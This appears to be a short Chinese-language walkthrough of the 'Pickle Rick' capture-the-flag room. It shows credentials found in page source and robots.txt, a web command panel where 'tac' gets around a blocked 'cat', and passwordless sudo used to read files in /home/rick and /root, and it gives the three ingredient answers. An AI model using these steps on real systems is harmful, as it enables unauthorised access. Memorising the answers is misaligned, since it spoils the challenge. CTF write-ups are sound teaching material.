Pickle Rick

What is the first ingredient that Rick needs?

查看网页源码可以发现用户名提示

接着扫一下发现robots.txt以及登录入口

访问robots.txt得到密码Wubbalubbadubdub

然后就可以登进后台

发现一个可以执行命令的窗口,先ls一下结果如下

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

想用cat结果cat似乎是被就用了,换成tac就可以打开文件了,第一种配方在Sup3rS3cretPickl3Ingred.txt里

mr. meeseek hair

What is the second ingredient in Rick’s potion?

运行sudo -l结果如下

Matching Defaults entries for www-data on ip-10-10-118-35.eu-west-1.compute.internal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-10-118-35.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL

也就是说现在可以随便用sudo,于是接下来两部分配方就很好获取了

sudo tac /home/rick/secon*
1 jerry tear

What is the last and final ingredient?

sudo tac /root/3rd.txt
3rd ingredients: fleeb juice